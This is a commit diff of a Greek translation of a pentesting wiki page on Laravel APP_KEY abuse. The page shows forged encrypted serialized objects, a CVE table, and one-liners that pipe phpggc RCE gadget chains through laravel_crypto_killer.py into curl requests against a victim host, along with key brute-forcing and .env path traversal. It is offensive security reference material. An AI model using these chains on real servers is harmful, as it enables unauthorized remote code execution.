Translated ['src/network-services-pentesting/pentesting-web/laravel.md']

This commit is contained in:
Translator 2025-08-04 22:48:45 +00:00
parent e68df34cc0
commit 7920de20fd

View File

@ -22,7 +22,7 @@
```
`encrypt($value, $serialize=true)` θα `serialize()` το απλό κείμενο από προεπιλογή, ενώ
`decrypt($payload, $unserialize=true)` **θα αυτόματα `unserialize()`** την αποκρυπτογραφημένη τιμή.
Επομένως **οποιοσδήποτε επιτιθέμενος γνωρίζει το 32-byte μυστικό `APP_KEY` μπορεί να δημιουργήσει ένα κρυπτογραφημένο PHP serialized αντικείμενο και να αποκτήσει RCE μέσω μαγικών μεθόδων (`__wakeup`, `__destruct`, …)**.
Επομένως **οποιοσδήποτε επιτιθέμενος που γνωρίζει το 32-byte μυστικό `APP_KEY` μπορεί να δημιουργήσει ένα κρυπτογραφημένο PHP serialized αντικείμενο και να αποκτήσει RCE μέσω μαγικών μεθόδων (`__wakeup`, `__destruct`, …)**.
Ελάχιστο PoC (framework ≥9.x):
```php
@ -51,43 +51,53 @@ laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
---
## Πραγματικά ευάλωτα μοτίβα
## Πραγματικοί ευάλωτοι τύποι
| Έργο | Ευάλωτη πηγή | Αλυσίδα gadget |
|---------|-----------------|--------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | Cookie `XSRF-TOKEN` όταν είναι ενεργοποιημένο το `Passport::withCookieSerialization()` | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie`Cookie `laravel_session` | Laravel/RCE15 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie όταν είναι ενεργοποιημένο το `Passport::withCookieSerialization()` | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` cookie | Laravel/RCE15 |
Η ροή εκμετάλλευσης είναι πάντα:
1. Απόκτηση `APP_KEY` (προεπιλεγμένα παραδείγματα, διαρροή Git, διαρροή config/.env ή brute-force)
2. Δημιουργία gadget με **PHPGGC**
3. `laravel_crypto_killer.py encrypt …`
4. Παράδοση payload μέσω της ευάλωτης παραμέτρου/cookie → **RCE**
1. Αποκτήστε ή σπάστε το 32-byte `APP_KEY`.
2. Δημιουργήστε μια αλυσίδα gadget με **PHPGGC** (για παράδειγμα `Laravel/RCE13`, `Laravel/RCE9` ή `Laravel/RCE15`).
3. Κρυπτογραφήστε το σειριακό gadget με **laravel_crypto_killer.py** και το ανακτηθέν `APP_KEY`.
4. Παραδώστε το ciphertext στην ευάλωτη πηγή `decrypt()` (παράμετρος διαδρομής, cookie, συνεδρία …) για να ενεργοποιήσετε το **RCE**.
Παρακάτω παρατίθενται συνοπτικές γραμμές που δείχνουν τη πλήρη διαδρομή επίθεσης για κάθε πραγματικό CVE που αναφέρθηκε παραπάνω:
```bash
# Invoice Ninja ≤5 /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"
# Snipe-IT ≤6 XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
# Crater cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
```
---
## Μαζική ανακάλυψη APP_KEY μέσω brute-force cookie
Δεδομένου ότι κάθε νέα απάντηση Laravel ορίζει τουλάχιστον 1 κρυπτογραφημένο cookie (`XSRF-TOKEN` και συνήθως `laravel_session`), **δημόσιοι σαρωτές διαδικτύου (Shodan, Censys, …) διαρρέουν εκατομμύρια ciphertexts** που μπορούν να επιτεθούν εκτός σύνδεσης.
Επειδή κάθε νέα απάντηση του Laravel ρυθμίζει τουλάχιστον 1 κρυπτογραφημένο cookie (`XSRF-TOKEN` και συνήθως `laravel_session`), **δημόσιοι σαρωτές διαδικτύου (Shodan, Censys, …) διαρρέουν εκατομμύρια κρυπτογραφημένα κείμενα** που μπορούν να επιτεθούν εκτός σύνδεσης.
Κύρια ευρήματα της έρευνας που δημοσιεύθηκε από τη Synacktiv (2024-2025):
* Dataset Ιουλίου 2024 » 580 k tokens, **3.99 % κλειδιά σπασμένα** (≈23 k)
* Dataset Μαΐου 2025 » 625 k tokens, **3.56 % κλειδιά σπασμένα**
* Σύνολο δεδομένων Ιουλίου 2024 » 580 k tokens, **3.99 % κλειδιά σπασμένα** (≈23 k)
* Σύνολο δεδομένων Μαΐου 2025 » 625 k tokens, **3.56 % κλειδιά σπασμένα**
* >1 000 διακομιστές εξακολουθούν να είναι ευάλωτοι σε παλαιά CVE-2018-15133 επειδή τα tokens περιέχουν άμεσα σειριοποιημένα δεδομένα.
* Μεγάλη επαναχρησιμοποίηση κλειδιών τα Top-10 APP_KEYs είναι σκληρά κωδικοποιημένα προεπιλεγμένα που αποστέλλονται με εμπορικά πρότυπα Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
* Μεγάλη επαναχρησιμοποίηση κλειδιών οι Top-10 APP_KEYs είναι σκληρά κωδικοποιημένες προεπιλογές που αποστέλλονται με εμπορικά πρότυπα Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
Το ιδιωτικό εργαλείο Go **nounours** προωθεί την απόδοση brute-force AES-CBC/GCM σε ~1.5 δισεκατομμύρια δοκιμές/δευτερόλεπτο, μειώνοντας την πλήρη σπασμένη συλλογή σε <2 λεπτά.
Το ιδιωτικό εργαλείο Go **nounours** προωθεί την ταχύτητα brute-force AES-CBC/GCM σε ~1.5 δισεκατομμύρια προσπάθειες/δευτερόλεπτο, μειώνοντας την πλήρη σπασμένη συλλογή δεδομένων σε <2 λεπτά.
---
## Αναφορές
* [Laravel: Ανάλυση διαρροής APP_KEY](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 αναφορά (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
## Laravel Tricks
## Τέχνασμα Laravel
### Λειτουργία αποσφαλμάτωσης
@ -96,13 +106,13 @@ laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
![](<../../images/image (1046).png>)
Αυτό είναι συνήθως απαραίτητο για την εκμετάλλευση άλλων CVEs RCE του Laravel.
Αυτό συνήθως απαιτείται για την εκμετάλλευση άλλων CVEs RCE του Laravel.
### .env
Το Laravel αποθηκεύει το APP που χρησιμοποιεί για να κρυπτογραφήσει τα cookies και άλλα διαπιστευτήρια μέσα σε ένα αρχείο που ονομάζεται `.env` που μπορεί να προσπελαστεί χρησιμοποιώντας κάποια διαδρομή πλοήγησης κάτω από: `/../.env`
Το Laravel αποθηκεύει το APP που χρησιμοποιεί για να κρυπτογραφήσει τα cookies και άλλα διαπιστευτήρια μέσα σε ένα αρχείο που ονομάζεται `.env` το οποίο μπορεί να προσπελαστεί χρησιμοποιώντας κάποια διαδρομή πλοήγησης κάτω από: `/../.env`
Το Laravel θα δείξει επίσης αυτές τις πληροφορίες στη σελίδα αποσφαλμάτωσης (που εμφανίζεται όταν το Laravel βρίσκει ένα σφάλμα και είναι ενεργοποιημένο).
Το Laravel θα δείξει επίσης αυτές τις πληροφορίες μέσα στη σελίδα αποσφαλμάτωσης (που εμφανίζεται όταν το Laravel βρίσκει ένα σφάλμα και είναι ενεργοποιημένο).
Χρησιμοποιώντας το μυστικό APP_KEY του Laravel μπορείτε να αποκρυπτογραφήσετε και να ξανακρυπτογραφήσετε cookies:
@ -178,94 +188,13 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2
Μια άλλη αποσυμπίεση: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
### Laravel SQLInjection
Διαβάστε πληροφορίες σχετικά με αυτό εδώ: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
### Laravel SQLInjection
Διαβάστε πληροφορίες σχετικά με αυτό εδώ: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
Το Laravel χρησιμοποιεί AES-256-CBC (ή GCM) με HMAC ακεραιότητα στο παρασκήνιο (`Illuminate\\Encryption\\Encrypter`).
Ο ακατέργαστος κρυπτογραφημένος κώδικας που τελικά **αποστέλλεται στον πελάτη** είναι **Base64 ενός αντικειμένου JSON** όπως:
```json
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` θα `serialize()` το απλό κείμενο από προεπιλογή, ενώ
`decrypt($payload, $unserialize=true)` **θα αυτόματα `unserialize()`** την αποκρυπτογραφημένη τιμή.
Επομένως **οποιοσδήποτε επιτιθέμενος που γνωρίζει το 32-byte μυστικό `APP_KEY` μπορεί να δημιουργήσει ένα κρυπτογραφημένο PHP serialized αντικείμενο και να αποκτήσει RCE μέσω μαγικών μεθόδων (`__wakeup`, `__destruct`, …)**.
Ελάχιστο PoC (framework ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Εισάγετε τη παραγόμενη συμβολοσειρά σε οποιαδήποτε ευάλωτη `decrypt()` πηγή (παράμετρος διαδρομής, cookie, συνεδρία, …).
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) αυτοματοποιεί ολόκληρη τη διαδικασία και προσθέτει μια βολική λειτουργία **bruteforce**:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
Το σενάριο υποστηρίζει διαφανώς τόσο τα payloads CBC όσο και GCM και αναγεννά το πεδίο HMAC/tag.
---
## Πραγματικά ευάλωτα μοτίβα
| Έργο | Ευάλωτη πηγή | Αλυσίδα gadget |
|---------|-----------------|--------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | Cookie `XSRF-TOKEN` όταν είναι ενεργοποιημένο το `Passport::withCookieSerialization()` | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → Cookie `laravel_session` | Laravel/RCE15 |
Η ροή εκμετάλλευσης είναι πάντα:
1. Απόκτηση `APP_KEY` (προεπιλεγμένα παραδείγματα, διαρροή Git, διαρροή config/.env ή brute-force)
2. Δημιουργία gadget με **PHPGGC**
3. `laravel_crypto_killer.py encrypt …`
4. Παράδοση payload μέσω της ευάλωτης παραμέτρου/cookie → **RCE**
---
## Μαζική ανακάλυψη APP_KEY μέσω brute-force cookie
Επειδή κάθε νέα απάντηση Laravel ρυθμίζει τουλάχιστον 1 κρυπτογραφημένο cookie (`XSRF-TOKEN` και συνήθως `laravel_session`), **δημόσιοι σαρωτές διαδικτύου (Shodan, Censys, …) διαρρέουν εκατομμύρια ciphertexts** που μπορούν να επιτεθούν offline.
Κύρια ευρήματα της έρευνας που δημοσιεύθηκε από τη Synacktiv (2024-2025):
* Dataset Ιούλιος 2024 » 580 k tokens, **3.99 % κλειδιά σπασμένα** (≈23 k)
* Dataset Μάιος 2025 » 625 k tokens, **3.56 % κλειδιά σπασμένα**
* >1 000 διακομιστές εξακολουθούν να είναι ευάλωτοι σε κληρονομικό CVE-2018-15133 επειδή τα tokens περιέχουν άμεσα σειριοποιημένα δεδομένα.
* Μεγάλη επαναχρησιμοποίηση κλειδιών τα Top-10 APP_KEYs είναι σκληρά κωδικοποιημένα προεπιλεγμένα που αποστέλλονται με εμπορικά πρότυπα Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
Το ιδιωτικό εργαλείο Go **nounours** προωθεί την απόδοση brute-force AES-CBC/GCM σε ~1.5 δισεκατομμύρια δοκιμές/δευτερόλεπτο, μειώνοντας την πλήρη σπασμένη βάση δεδομένων σε <2 λεπτά.
---
## Αναφορές
* [Laravel: Ανάλυση διαρροής APP_KEY](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
## References
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite dAPP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 αναφορά (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
{{#include ../../banners/hacktricks-training.md}}